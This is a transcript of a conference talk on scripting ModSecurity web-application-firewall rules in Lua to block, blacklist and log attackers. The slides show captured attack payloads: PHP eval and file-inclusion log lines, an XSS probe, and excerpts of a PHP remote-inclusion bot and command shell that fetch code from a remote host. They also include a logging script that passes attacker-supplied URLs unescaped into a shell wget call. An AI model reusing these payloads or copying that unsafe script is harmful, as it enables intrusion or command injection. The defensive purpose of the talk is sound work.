SlideShare a Scribd company logo
© 2012
Presented by:
Teaching your WAF new tricks
Robert Rowley
Security Researcher
rrowley@trustwave.com
© 2012
Disclaimer: The scripts contained in these
slides are not recommended for you to
use in production. If you get fired, it's
your own fault.
Harass me on twitter: @iamlei
© 2012
Agenda
• Preamble
– Writing a normal rule
– Lua introduction
– Scripting with: exec, @inspectFile, SecRuleScript
• Counter Intelligence
– RFI hunting/gathering
– Malicious request intelligence collection
– That WordPress Incident
© 2012
Why me?
© 2012
Mod sec intro

Write a rule

Block, Log, Repeat

Apache

IIS, Nginx (Beta)
© 2012
mod_sec variables
REQUEST_BODY
REQUEST_COOKIES
REQUEST_FILENAME
REQUEST_HEADERS
REQUEST_LINE
REQUEST_METHOD
REQUEST_URI
RESPONSE_BODY
RESPONSE_HEADERS
SCRIPT_FILENAME
SCRIPT_USERNAME
TIME
ARGS
ARGS_NAMES
AUTH_TYPE
ENV
FILES
FILES_NAMES
FILES_SIZES
QUERY_STRING
REMOTE_ADDR
REMOTE_HOST
REMOTE_PORT
REMOTE_USER
...AND BEYOND!
© 2012
Normal WAF rule
Example:
Hash Collision DoS (CVE-2011-4885)

http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&
EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH
%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&
EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&
EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
© 2012
Normal WAF rule
Example:
Hash Collision DoS (CVE-2011-4885)

http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&
EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH
%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&
EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&
EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
SecRule &ARGS “@gt 100” deny
© 2012
Normal WAF rule
Example:
Hash Collision DoS (CVE-2011-4885)

http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=&
EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH
%17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=&
EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=&
EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
SecRule &ARGS “@gt 1000” deny
© 2012© 2012
Adding Scripts!
© 2012
Which one is not like the others?
192.168.69.101 "GET /index.php?include=pages”
HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...”
192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00”
HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>”
192.168.69.101 "GET /”
HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
© 2012
Which one is not like the others?
192.168.69.101 "GET /index.php?include=pages”
HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...”
192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00”
HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>”
192.168.69.101 "GET /”
HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
© 2012
Another Normal Rule
Example:
SecRule REQUEST_HEADER:User-Agent “<?php”
deny
Blocks:
192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00
HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>”
© 2012
Another Normal Rule
Example:
SecRule REQUEST_HEADER:User-Agent “<?php”
deny
© 2012
Not So Normal
Example:
SecRule REQUEST_HEADER:User-Agent “<?php”
deny,exec:dirty_firewaller.lua
© 2012
A little lua intro

Object oriented (Everything is a table)

Light and easy

Available in other tools
– Nmap
– Wireshark
– WoW
© 2012
EXEC
Example:
SecRule REQUEST_HEADERS:User-Agent “<?php”
deny,exec:dirty_firewaller.lua
--- dirty_firewaller.lua ---
function main()
local bad_ip = m.getvar(REMOTE_ADDR)
os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)
end
© 2012
EXEC
Example:
SecRule REQUEST_HEADERS:User-Agent “<?php”
deny,exec:dirty_firewaller.lua
--- dirty_firewaller.lua ---
function main()
local bad_ip = m.getvar(REMOTE_ADDR)
os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)
end
© 2012
EXEC
Example:
SecRule REQUEST_HEADERS:User-Agent “<?php”
deny,exec:dirty_firewaller.lua
--- dirty_firewaller.lua ---
function main()
local bad_ip = m.getvar(REMOTE_ADDR)
os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”)
end
© 2012
EXEC
Example:
SecRule REQUEST_HEADERS:User-Agent “<?php”
deny,exec:htaccess_firewaller.lua
--- htaccess_firewaller.lua ---
function main()
local bad_ip = m.getvar(REMOTE_ADDR)
local fh = io.open(“/path/to/.htaccess”, a+)
fh:write(“deny from “..bad_ip)
fh:close()
end
© 2012
Using @inspectFile
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
© 2012
Example script (AV)
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
--- file_inspector.lua ---
function main(filename)
local fh = io.open(filename, “r”)
while(line = fh:read()) do
if(string.match(line, 'MALICIOUS')) then
return 1
end
end
end
© 2012
Example script (AV)
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
--- file_inspector.lua ---
function main(filename)
local fh = io.open(filename, “r”)
while(line = fh:read()) do
if(string.match(line, 'MALICIOUS')) then
return 1
end
end
end
© 2012
Example script (AV)
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
--- file_inspector.lua ---
function main(filename)
local fh = io.open(filename, “r”)
while(line = fh:read()) do
if(string.match(line, 'MALICIOUS')) then
return 1
end
end
end
© 2012
Example script (AV)
SecRule FILES_TMPNAMES
“@inspectFile file_inspector.lua” deny
--- file_inspector.lua ---
function main(filename)
local fh = io.open(filename, “r”)
while(line = fh:read()) do
if(string.match(line, 'MALICIOUS')) then
return 1
end
end
end
© 2012
SpiderLabs making it awesome
• Implemented their own AV detection using
ClamAV
• It’s in the spiderlabs github
• https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/
runav.pl
© 2012
Matching With Scripts
SecRuleScript “check_blacklist.lua” deny
© 2012
Matching With Scripts
SecRuleScript “check_blacklist.lua” deny
--- check_blacklist.lua ---
function main()
local ip = m.getvar('REMOTE_ADDR')
for line in io.lines("blacklist.txt") do
if string.match(ip, line) then
return 1
end
end
end
© 2012
Matching With Scripts
SecRule REQUEST_URI “admin” deny,chain
SecRuleScript “check_blacklist.lua”
--- check_blacklist.lua ---
function main()
local ip = m.getvar('REMOTE_ADDR')
for line in io.lines("blacklist.txt") do
if string.match(ip, line) then
return 1
end
end
end
© 2012
SpiderLabs making it awesome #2
“ipMatchFromFile” implemented in release 2.7
SecRule REQUEST_URI “admin” deny,chain
SecRule ‘@ipMatchFromFile blacklist.txt’
© 2012© 2012
Counter Intelligence
© 2012
RFI Hunting
192.168.69.101 - - [08/Oct/2012:11:19:27 -0700]
"GET /thumb.php?src=http://site.com/shell.txt
HTTP/1.1" 200 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)"
Trivial to pull from logs
© 2012
RFI Hunting
192.168.69.101 - - [08/Oct/2012:11:12:43 -0700]
"POST /thumb.php HTTP/1.1"
200 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)"
Problem …
© 2012
rfi_logger.lua
SecRule ARGS “^http://” allow,exec:rfi_logger.lua
function main()
local ip = m.getvar("REMOTE_ADDR")
local url = m.getvar("REQUEST_URI")
local args = m.getvars("ARGS")
for j = 1, #args do
if(string.match(args[j].value, 'http')) then
fh = io.open("/tmp/backdoor", "a")
fh:write("---"..ip.." "..url.." "..args[j].name.."="..args[j].value.."---n")
fh:close()
os.execute("wget –q –x -P /tmp/rfi_files/ '"..args[j].value)
end
end
end
© 2012
<?php
###[ SEMBON CrEw SPREAD for RFIBot (2.3) ]###
error_reporting(0);
##### CONFIG #####
$mode = $_GET["mode"];
$url = 'http://www.web-faq.jp/click_counter/data/.data/'; //URL path
$src = $url.'cmd'; //Source Shell
$shell = '404.php'; //Backdoor PHPShell name
$bot = $url.'bot'; //Source PHPBot
##### SPREAD #####
...
die(base64_decode('TWNOIFNoZWxsOiA=').''.$exec.' Failed!'); //encode
biar lebih optimal!
}
...
It works
© 2012
<html><head><title>/// Response CMD ///</title></head><body
bgcolor=DC143C>
<H1>Changing this CMD will result in corrupt scanning !</H1>
</html></head></body>
<?php
...
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
...
It works
© 2012
Better than a blacklist
1) Capture
Request
2) Log IP
Malicious
Request
WAF script
© 2012
Better than a blacklist
Request WAF script
Unobstructed
Response
1) Capture
Request
2) Log All
Data
Malicious Host
Unknown Host
© 2012
Put it together
SecRule REQUEST_HEADERS:User-Agent “<?
php”
deny,status:200,exec:blacklist_ip.lua
SecRule ‘@ipMatchFromFile blacklist.txt’
deny,status:200,exec:uber_logger.lua
© 2012
Put it together
SecRule REQUEST_HEADERS:User-Agent “<?
php” deny,status:200,exec:blacklist_ip.lua
--- blacklist_ip.lua ---
function main()
local ip = m.getvar("REMOTE_ADDR")
fh = io.open("blacklist.txt", "a")
fh:write(ip.."n")
fh:close()
end
© 2012
Put it together
SecRule ‘@ipMatchFromFile blacklist.txt’
deny,status:200,exec:uber_logger.lua
--- uber_logger.lua ---
function main()
local ip = m.getvar("REMOTE_ADDR")
local url = m.getvar("REQUEST_URI")
local args = m.getvars("ARGS")
local headers = m.getvars("REQUEST_HEADERS")
local logstring = " "
for j = 1, #headers do
logstring = logstring.." "..headers[j].name.."="..headers[j].value
end
for j = 1, #args do
logstring = logstring.." "..args[j].name.."="..args[j].value
end
fh = io.open("/tmp/uberlog", "a+")
fh:write(ip.." "..url.." "..logstring.."n")
fh:close()
end
© 2012
Put it together
Uberlog data
69.110.217.76 /index.php?arg=<script>alert(1);</script>
REQUEST_HEADERS:User-Agent=Mozilla/5.0 (compatible;
Nmap Scripting Engine; http://nmap.org/book/nse.html)
REQUEST_HEADERS:Connection=Close
REQUEST_HEADERS:Host=69.110.217.76:80
ARGS:arg=<script>alert(1);</script>
69.110.217.76 /index.php?-s REQUEST_HEADERS:User-
Agent=Mozilla/5.0 (compatible; Nmap Scripting Engine;
http://nmap.org/book/nse.html)
REQUEST_HEADERS:Connection=Close
REQUEST_HEADERS:Host=69.110.217.76:80 ARGS:-s=
© 2012
Data Mining
Capture only on malicious requests
Log far more data
– REQUEST_HEADERS
– POST variables
– COOKIE data
– FILES uploaded in the request
– GeoIP information
– Live data on the attack
– Make pretty* graphs
* OK they are not that pretty
© 2012
Graphs!
© 2012
Graphs!
© 2012
Graphs!
© 2012
The WordPress Incident
(Monitoring Brute Force Attacks)
“Massive” WordPress attack in early April 2013.
Reported by several Hosting providers as reason for outages.
A Mr. Brian K. blogged that it was a botnet recruiting run.
Coincidentally:
I had been monitoring wp-login.php requests with full data for months.
© 2012
The WordPress Incident
(Why was I logging?)
Someone* complained on twitter**
Their logs looked like this:
POST wp-login.php
POST wp-login.php
POST wp-login.php
POST wp-login.php
POST wp-login.php
They wanted to know more.
* it was @Viss
** First time ever that complaining on twitter was beneficial, but not to the complainer.
© 2012
The WordPress Incident
(Script I re-used)
I decided to put the “ueberlogger.lua” script to work.
SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua
© 2012
The WordPress Incident
(Script I re-used)
I decided to put the “ueberlogger.lua” script to work.
SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=1admin
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=admins
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=webmaster
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=password
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=111111
x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=naruto
© 2012
The WordPress Incident
(Data I got)
Password list of the brute force
Frequency of attacks against sites I controlled
Passwords
naruto
pokemon
123456
admin
Sitename123
etc...
Correlated with the data from other researchers
© 2012
The WordPress Incident
(My Perspective)
● It was a brute force, but a lame one.
● It got press because hosts were going down.
● Evidence that WP auth mechanisms can cause DoS.
● WordPress is a buzzword for security press
●
Read my article all about WP auth on the blog.spiderlabs.com :).
© 2012
The WordPress Incident
(My Perspective)
● It was a brute force, but a lame one.
● It got press because hosts were going down.
● Evidence that WP auth mechanisms can cause DoS.
● WordPress is a buzzword for security press
●
Read my article all about WP auth on the blog.spiderlabs.com :).
© 2012
Bibliography/Questions?

http://www.modsecurity.org

http://www.lua.org

http://blog.spiderlabs.com
SpiderLabs github

https://github.com/SpiderLabs
You seriously want my code?

https://github.com/rawrly/ModSecScripts
Take your pitchfork to me on twitter: @iamlei

More Related Content

PDF
Presentazione Opportunità Network marketing
PDF
FIRST CONNECTIONS
DOCX
PPTX
Chapter 17
PPTX
Tablettes
PDF
Orientação Sexual
PDF
Edifice Profile
DOCX
Comunicado alumnos liceo 2
Presentazione Opportunità Network marketing
FIRST CONNECTIONS
Chapter 17
Tablettes
Orientação Sexual
Edifice Profile
Comunicado alumnos liceo 2

Viewers also liked (8)

PDF
111027 Diario La Nación
PPTX
The Word
PPTX
Nimbus Ninjas Market Map
DOCX
Coloquio nuevas perpectivas para el estudio de los movimientos sociales en am...
PDF
Constante dieléctrica
DOC
SMejiaResume (1)
PPTX
Rahul Prasad Art-4
PDF
CV S Sirkar 2016.docx
111027 Diario La Nación
The Word
Nimbus Ninjas Market Map
Coloquio nuevas perpectivas para el estudio de los movimientos sociales en am...
Constante dieléctrica
SMejiaResume (1)
Rahul Prasad Art-4
CV S Sirkar 2016.docx
Ad

Similar to Teaching Your WAF New Tricks (20)

DOCX
Web-servers & Application Hacking
PPTX
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
PDF
LFI to RCE Exploit with Perl Script
PDF
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
PDF
Rooted 2010 ppp
PPTX
Fun with exploits old and new
PPTX
Prevent hacking
PDF
PowerPoint Presentation
PDF
Art of Web Backdoor - Pichaya Morimoto
PDF
Php vulnerability presentation
KEY
DVWA BruCON Workshop
PDF
Introduction to Snort Rule Writing
KEY
Apache Wizardry - Ohio Linux 2011
PPTX
Perl basics for pentesters part 2
PDF
Python for Penetration testers
PDF
Website Hacking Oldie
PDF
CNIT 129S: 10: Attacking Back-End Components
Web-servers & Application Hacking
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
LFI to RCE Exploit with Perl Script
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
Rooted 2010 ppp
Fun with exploits old and new
Prevent hacking
PowerPoint Presentation
Art of Web Backdoor - Pichaya Morimoto
Php vulnerability presentation
DVWA BruCON Workshop
Introduction to Snort Rule Writing
Apache Wizardry - Ohio Linux 2011
Perl basics for pentesters part 2
Python for Penetration testers
Website Hacking Oldie
CNIT 129S: 10: Attacking Back-End Components
Ad

More from Robert Rowley (7)

PDF
WordPress Security (know your enemy WordCamp Kyoto)
ODP
Detecting and Defending Your Privacy Against State-Actor Surveillance
ODP
Privacy; Past, Present and Future
ODP
Wordpress Security 101
ODP
State of Web App Security 2012
ODP
Juice Jacking 101
ODP
Nmap Scripting Engine and http-enumeration
WordPress Security (know your enemy WordCamp Kyoto)
Detecting and Defending Your Privacy Against State-Actor Surveillance
Privacy; Past, Present and Future
Wordpress Security 101
State of Web App Security 2012
Juice Jacking 101
Nmap Scripting Engine and http-enumeration

Recently uploaded (20)

PDF
Assigned Numbers - 2025 - Bluetooth® Document
PPT
What is a Computer? Input Devices /output devices
PPTX
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
PDF
1 - Historical Antecedents, Social Consideration.pdf
PDF
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
PDF
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
PPTX
Group 1 Presentation -Planning and Decision Making .pptx
PDF
August Patch Tuesday
PDF
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
PPTX
The various Industrial Revolutions .pptx
PDF
Zenith AI: Advanced Artificial Intelligence
PDF
A novel scalable deep ensemble learning framework for big data classification...
PDF
Hybrid model detection and classification of lung cancer
PPTX
1. Introduction to Computer Programming.pptx
PPTX
observCloud-Native Containerability and monitoring.pptx
PDF
A contest of sentiment analysis: k-nearest neighbor versus neural network
PDF
Web App vs Mobile App What Should You Build First.pdf
PPTX
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
PPTX
Chapter 5: Probability Theory and Statistics
PDF
Hindi spoken digit analysis for native and non-native speakers
Assigned Numbers - 2025 - Bluetooth® Document
What is a Computer? Input Devices /output devices
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
1 - Historical Antecedents, Social Consideration.pdf
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
Group 1 Presentation -Planning and Decision Making .pptx
August Patch Tuesday
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
The various Industrial Revolutions .pptx
Zenith AI: Advanced Artificial Intelligence
A novel scalable deep ensemble learning framework for big data classification...
Hybrid model detection and classification of lung cancer
1. Introduction to Computer Programming.pptx
observCloud-Native Containerability and monitoring.pptx
A contest of sentiment analysis: k-nearest neighbor versus neural network
Web App vs Mobile App What Should You Build First.pdf
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
Chapter 5: Probability Theory and Statistics
Hindi spoken digit analysis for native and non-native speakers

Teaching Your WAF New Tricks

  • 1. © 2012 Presented by: Teaching your WAF new tricks Robert Rowley Security Researcher rrowley@trustwave.com
  • 2. © 2012 Disclaimer: The scripts contained in these slides are not recommended for you to use in production. If you get fired, it's your own fault. Harass me on twitter: @iamlei
  • 3. © 2012 Agenda • Preamble – Writing a normal rule – Lua introduction – Scripting with: exec, @inspectFile, SecRuleScript • Counter Intelligence – RFI hunting/gathering – Malicious request intelligence collection – That WordPress Incident
  • 5. © 2012 Mod sec intro  Write a rule  Block, Log, Repeat  Apache  IIS, Nginx (Beta)
  • 7. © 2012 Normal WAF rule Example: Hash Collision DoS (CVE-2011-4885)  http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=& EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH %17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=& EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=& EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ...
  • 8. © 2012 Normal WAF rule Example: Hash Collision DoS (CVE-2011-4885)  http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=& EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH %17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=& EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=& EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ... SecRule &ARGS “@gt 100” deny
  • 9. © 2012 Normal WAF rule Example: Hash Collision DoS (CVE-2011-4885)  http://yourwebsite.com/index.php?EzEzEzEzEzEzEzEz=& EzEzEzEzEzEzEzFY =&EzEzEzEzEzEzEzG8= &EzEzEzEzEzEzEzH %17=&EzEzEzEzEzEzFYEz= &EzEzEzEzEzEzFYFY=& EzEzEzEzEzEzFYG8=&EzEzEzEzEzEzFYH%17=& EzEzEzEzEzEzG8Ez =&EzEzEzEzEzEzG8FY=& ... SecRule &ARGS “@gt 1000” deny
  • 11. © 2012 Which one is not like the others? 192.168.69.101 "GET /index.php?include=pages” HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...” 192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00” HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>” 192.168.69.101 "GET /” HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
  • 12. © 2012 Which one is not like the others? 192.168.69.101 "GET /index.php?include=pages” HTTP/1.1" 200 "Mozilla/5.0 (Windows; U; Windows NT 5.1 ...” 192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00” HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>” 192.168.69.101 "GET /” HTTP/1.1" 200 “Mozilla/5.0 (compatible; Baiduspider/2.0; ...”
  • 13. © 2012 Another Normal Rule Example: SecRule REQUEST_HEADER:User-Agent “<?php” deny Blocks: 192.168.69.101 "GET /index.php?include=/proc/self/enrivon%00 HTTP/1.1" 200 "<?php eval($_COOKIE['e']); ?>”
  • 14. © 2012 Another Normal Rule Example: SecRule REQUEST_HEADER:User-Agent “<?php” deny
  • 15. © 2012 Not So Normal Example: SecRule REQUEST_HEADER:User-Agent “<?php” deny,exec:dirty_firewaller.lua
  • 16. © 2012 A little lua intro  Object oriented (Everything is a table)  Light and easy  Available in other tools – Nmap – Wireshark – WoW
  • 17. © 2012 EXEC Example: SecRule REQUEST_HEADERS:User-Agent “<?php” deny,exec:dirty_firewaller.lua --- dirty_firewaller.lua --- function main() local bad_ip = m.getvar(REMOTE_ADDR) os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”) end
  • 18. © 2012 EXEC Example: SecRule REQUEST_HEADERS:User-Agent “<?php” deny,exec:dirty_firewaller.lua --- dirty_firewaller.lua --- function main() local bad_ip = m.getvar(REMOTE_ADDR) os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”) end
  • 19. © 2012 EXEC Example: SecRule REQUEST_HEADERS:User-Agent “<?php” deny,exec:dirty_firewaller.lua --- dirty_firewaller.lua --- function main() local bad_ip = m.getvar(REMOTE_ADDR) os.execute(“iptables -A INPUT -s “..bad_ip..” -j DROP”) end
  • 20. © 2012 EXEC Example: SecRule REQUEST_HEADERS:User-Agent “<?php” deny,exec:htaccess_firewaller.lua --- htaccess_firewaller.lua --- function main() local bad_ip = m.getvar(REMOTE_ADDR) local fh = io.open(“/path/to/.htaccess”, a+) fh:write(“deny from “..bad_ip) fh:close() end
  • 21. © 2012 Using @inspectFile SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny
  • 22. © 2012 Example script (AV) SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny --- file_inspector.lua --- function main(filename) local fh = io.open(filename, “r”) while(line = fh:read()) do if(string.match(line, 'MALICIOUS')) then return 1 end end end
  • 23. © 2012 Example script (AV) SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny --- file_inspector.lua --- function main(filename) local fh = io.open(filename, “r”) while(line = fh:read()) do if(string.match(line, 'MALICIOUS')) then return 1 end end end
  • 24. © 2012 Example script (AV) SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny --- file_inspector.lua --- function main(filename) local fh = io.open(filename, “r”) while(line = fh:read()) do if(string.match(line, 'MALICIOUS')) then return 1 end end end
  • 25. © 2012 Example script (AV) SecRule FILES_TMPNAMES “@inspectFile file_inspector.lua” deny --- file_inspector.lua --- function main(filename) local fh = io.open(filename, “r”) while(line = fh:read()) do if(string.match(line, 'MALICIOUS')) then return 1 end end end
  • 26. © 2012 SpiderLabs making it awesome • Implemented their own AV detection using ClamAV • It’s in the spiderlabs github • https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/ runav.pl
  • 27. © 2012 Matching With Scripts SecRuleScript “check_blacklist.lua” deny
  • 28. © 2012 Matching With Scripts SecRuleScript “check_blacklist.lua” deny --- check_blacklist.lua --- function main() local ip = m.getvar('REMOTE_ADDR') for line in io.lines("blacklist.txt") do if string.match(ip, line) then return 1 end end end
  • 29. © 2012 Matching With Scripts SecRule REQUEST_URI “admin” deny,chain SecRuleScript “check_blacklist.lua” --- check_blacklist.lua --- function main() local ip = m.getvar('REMOTE_ADDR') for line in io.lines("blacklist.txt") do if string.match(ip, line) then return 1 end end end
  • 30. © 2012 SpiderLabs making it awesome #2 “ipMatchFromFile” implemented in release 2.7 SecRule REQUEST_URI “admin” deny,chain SecRule ‘@ipMatchFromFile blacklist.txt’
  • 31. © 2012© 2012 Counter Intelligence
  • 32. © 2012 RFI Hunting 192.168.69.101 - - [08/Oct/2012:11:19:27 -0700] "GET /thumb.php?src=http://site.com/shell.txt HTTP/1.1" 200 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" Trivial to pull from logs
  • 33. © 2012 RFI Hunting 192.168.69.101 - - [08/Oct/2012:11:12:43 -0700] "POST /thumb.php HTTP/1.1" 200 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" Problem …
  • 34. © 2012 rfi_logger.lua SecRule ARGS “^http://” allow,exec:rfi_logger.lua function main() local ip = m.getvar("REMOTE_ADDR") local url = m.getvar("REQUEST_URI") local args = m.getvars("ARGS") for j = 1, #args do if(string.match(args[j].value, 'http')) then fh = io.open("/tmp/backdoor", "a") fh:write("---"..ip.." "..url.." "..args[j].name.."="..args[j].value.."---n") fh:close() os.execute("wget –q –x -P /tmp/rfi_files/ '"..args[j].value) end end end
  • 35. © 2012 <?php ###[ SEMBON CrEw SPREAD for RFIBot (2.3) ]### error_reporting(0); ##### CONFIG ##### $mode = $_GET["mode"]; $url = 'http://www.web-faq.jp/click_counter/data/.data/'; //URL path $src = $url.'cmd'; //Source Shell $shell = '404.php'; //Backdoor PHPShell name $bot = $url.'bot'; //Source PHPBot ##### SPREAD ##### ... die(base64_decode('TWNOIFNoZWxsOiA=').''.$exec.' Failed!'); //encode biar lebih optimal! } ... It works
  • 36. © 2012 <html><head><title>/// Response CMD ///</title></head><body bgcolor=DC143C> <H1>Changing this CMD will result in corrupt scanning !</H1> </html></head></body> <?php ... function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } ... It works
  • 37. © 2012 Better than a blacklist 1) Capture Request 2) Log IP Malicious Request WAF script
  • 38. © 2012 Better than a blacklist Request WAF script Unobstructed Response 1) Capture Request 2) Log All Data Malicious Host Unknown Host
  • 39. © 2012 Put it together SecRule REQUEST_HEADERS:User-Agent “<? php” deny,status:200,exec:blacklist_ip.lua SecRule ‘@ipMatchFromFile blacklist.txt’ deny,status:200,exec:uber_logger.lua
  • 40. © 2012 Put it together SecRule REQUEST_HEADERS:User-Agent “<? php” deny,status:200,exec:blacklist_ip.lua --- blacklist_ip.lua --- function main() local ip = m.getvar("REMOTE_ADDR") fh = io.open("blacklist.txt", "a") fh:write(ip.."n") fh:close() end
  • 41. © 2012 Put it together SecRule ‘@ipMatchFromFile blacklist.txt’ deny,status:200,exec:uber_logger.lua --- uber_logger.lua --- function main() local ip = m.getvar("REMOTE_ADDR") local url = m.getvar("REQUEST_URI") local args = m.getvars("ARGS") local headers = m.getvars("REQUEST_HEADERS") local logstring = " " for j = 1, #headers do logstring = logstring.." "..headers[j].name.."="..headers[j].value end for j = 1, #args do logstring = logstring.." "..args[j].name.."="..args[j].value end fh = io.open("/tmp/uberlog", "a+") fh:write(ip.." "..url.." "..logstring.."n") fh:close() end
  • 42. © 2012 Put it together Uberlog data 69.110.217.76 /index.php?arg=<script>alert(1);</script> REQUEST_HEADERS:User-Agent=Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html) REQUEST_HEADERS:Connection=Close REQUEST_HEADERS:Host=69.110.217.76:80 ARGS:arg=<script>alert(1);</script> 69.110.217.76 /index.php?-s REQUEST_HEADERS:User- Agent=Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html) REQUEST_HEADERS:Connection=Close REQUEST_HEADERS:Host=69.110.217.76:80 ARGS:-s=
  • 43. © 2012 Data Mining Capture only on malicious requests Log far more data – REQUEST_HEADERS – POST variables – COOKIE data – FILES uploaded in the request – GeoIP information – Live data on the attack – Make pretty* graphs * OK they are not that pretty
  • 47. © 2012 The WordPress Incident (Monitoring Brute Force Attacks) “Massive” WordPress attack in early April 2013. Reported by several Hosting providers as reason for outages. A Mr. Brian K. blogged that it was a botnet recruiting run. Coincidentally: I had been monitoring wp-login.php requests with full data for months.
  • 48. © 2012 The WordPress Incident (Why was I logging?) Someone* complained on twitter** Their logs looked like this: POST wp-login.php POST wp-login.php POST wp-login.php POST wp-login.php POST wp-login.php They wanted to know more. * it was @Viss ** First time ever that complaining on twitter was beneficial, but not to the complainer.
  • 49. © 2012 The WordPress Incident (Script I re-used) I decided to put the “ueberlogger.lua” script to work. SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua
